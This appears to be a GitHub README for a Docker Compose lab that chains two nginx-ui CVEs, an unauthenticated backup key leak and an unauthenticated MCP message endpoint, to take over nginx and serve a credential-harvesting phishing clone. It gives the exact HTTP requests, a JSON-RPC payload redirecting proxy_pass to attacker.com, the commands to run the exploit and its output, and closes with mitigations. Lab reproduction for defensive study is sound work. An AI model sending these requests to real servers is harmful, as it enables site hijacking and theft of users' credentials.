Shreda/CVE-2026-33032-nginx-ui-vuln-lab
GitHub: Shreda/CVE-2026-33032-nginx-ui-vuln-lab
一个基于Docker Compose的实验项目,演示nginx-ui因缺少认证导致的备份信息泄露与MCP接口越权双漏洞链及其利用。
Stars: 0 | Forks: 0
# CVE-2026-27944 + CVE-2026-33032 — nginx-ui 零凭证 RCE 实验
一个自包含的 Docker Compose 实验,演示针对 nginx-ui v2.3.1 的 **双 CVE 链**,无需任何先验知识即可实现完整的 Nginx 接管——**无用户名、无密码、无令牌**。
## 漏洞链
### CVE-2026-27944 — 未认证备份端点与密钥泄露
`GET /api/backup` 无需认证。该端点返回 nginx-ui 安装的完整加密备份(包括 `app.ini`),并在响应头中**明文返回** AES-256-CBC 解密密钥与 IV:
```
X-Backup-Security: :
```
源代码(`api/backup/router.go`):
```
r.GET("/backup", CreateBackup) // ❌ no middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
```
解密备份后可得到 `app.ini`,其中包含第二步所需的 `[node] Secret`。
| | |
|---|---|
| **CVE** | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| **CVSS** | 9.8 严重 |
| **受影响** | nginx-ui < 2.3.2 |
| **修复版本** | nginx-ui 2.3.3 |
### CVE-2026-33032 “MCPwn” — 未认证的 MCP 消息处理器
nginx-ui v2.3.x 新增 **Model Context Protocol (MCP)** 接口,提供 12 个 Nginx 管理工具。漏洞源于 `mcp/router.go` 中缺少一次中间件调用:
```
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ MISSING AuthRequired()
```
通过第一步获得的 `sessionId`,攻击者可在**无用户凭证**的情况下向 `/mcp_message` 发起 POST,调用任意特权工具(包括 `nginx_config_modify` 与 `reload_nginx`)。
| | |
|---|---|
| **CVE** | CVE-2026-33032 |
| **别名** | MCPwn(Pluto Security) |
| **CVSS** | 9.8 严重 |
| **受影响** | nginx-ui ≤ 2.3.3 |
| **修复版本** | nginx-ui 2.3.4 |
## 实验架构
```
┌──────────────────────────────────────────────────────────┐
│ Browser │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Attacker ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VULNERABLE │
│ (no credentials) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (green) │ legitimate │
│ │ proxy_pass default │ login form │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (red) │ phishing clone │
│ │ proxy_pass after attack │ harvests creds │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
```
nginx-ui 集成了其自身的 Nginx 实例。当利用脚本通过 MCP 调用 `reload_nginx` 时,会重载监听在 `:8080` 的同一 Nginx——**无需主机访问权限**。
## 快速开始
**依赖:** Docker + Docker Compose + Python 3.10+
```
git clone
cd nginx-ui-vuln-lab
docker compose up -d
```
| URL | |
|-----|---|
| `http://localhost:8080` | 受害者站点 — 绿色(合法) |
| `http://localhost:9000` | nginx-ui 管理面板 |
## 运行利用
```
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
```
脚本串联两个 CVE 且无需任何凭证:
```
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Target : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — downloading backup (no auth)
[+] AES key+IV from header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node secret extracted: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — opening unauthenticated MCP session (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Recon — reading current config
[+] Current: proxy_pass http://webapp:80;
[*] Overwriting default.conf via POST /mcp_message (no auth)
[+] New: proxy_pass http://malicious_site:80;
[*] Reloading nginx via POST /mcp_message (no auth)
[+] nginx reloaded — config is live
[!] Attack complete.
Victims at http://localhost:8080/ are now served the phishing page.
View captured credentials: http://localhost:8080/?debug=1
```
利用完成后,`http://localhost:8080` 会从 **绿色** 合法页面切换到 **红色** 钓鱼副本——同一 URL,对受害者无提示。
打开 `http://localhost:8080/?debug=1` 可显示攻击者面板并实时查看捕获的凭证。
### 重置
```
python3 exploit/exploit.py --url http://localhost:9000 --reset
```
使用相同的 CVE 链还原原始配置并重载 Nginx。
## 工作原理
### 阶段 1 — 提取节点密钥(CVE-2026-27944)
```
GET /api/backup HTTP/1.1
Host: target:9000
```
响应:
```
HTTP/1.1 200 OK
X-Backup-Security: :
Content-Type: application/zip
```
使用提供的密钥/IV 解压 ZIP → 提取 `app.ini` → 读取 `[node] Secret`。
### 阶段 2 — 劫持 Nginx(CVE-2026-33032)
**请求 1 — 建立 SSE 会话(节点密钥,无需用户认证):**
```
GET /mcp?node_secret=
```
SSE 流返回 `sessionId`。
**请求 2+ — 调用工具(完全无需认证):**
```
POST /mcp_message?sessionId=
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
```
无 `Authorization` 头。无 Cookie。`AuthRequired()` 在 `/mcp_message` 路由中根本不存在。
## 可用 MCP 工具(全部无需认证即可访问)
| 工具 | 影响 |
|------|--------|
| `nginx_config_modify` | 覆盖任意配置文件 |
| `nginx_config_add` | 创建新配置文件 |
| `nginx_config_get` | 读取任意配置文件 |
| `nginx_config_list` | 列出所有配置文件 |
| `nginx_config_enable/disable` | 启用/禁用站点配置 |
| `nginx_config_rename` | 移动/重命名配置文件 |
| `nginx_config_mkdir` | 创建目录 |
| `nginx_config_history` | 查看变更历史 |
| `nginx_config_base_path` | 暴露配置根路径 |
| `nginx_status` | 检查 Nginx 状态 |
| `reload_nginx` | 实时应用配置变更 |
| `restart_nginx` | 完整重启 Nginx |
## 防护措施
- **补丁** — 升级至 nginx-ui ≥ 2.3.4
- **网络隔离** — 不要将 nginx-ui 暴露于不可信网络;置于 VPN 或防火墙后
- **IP 允许列表** — 在 `app.ini` 中设置非空的 `[node] IPWhiteList` 以限制 MCP 访问来源
- **MFA** — 为管理账户启用多因素认证
- **FIM** — 使用 auditd、Wazuh 等对 `/etc/nginx/conf.d/` 进行文件完整性监控
标签:API 端点, CVE-2026-27944, CVE-2026-33032, Docker Compose, JSONLines, MCPwn, nginx takeover, Nginx UI, RCE, sessionId, 加密解密, 后端开发, 备份泄露, 安全实验室, 密钥明文传输, 日志审计, 未授权访问, 模型上下文协议, 漏洞复现, 版权保护, 白名单绕过, 认证绕过, 请求拦截, 逆向工具, 零信任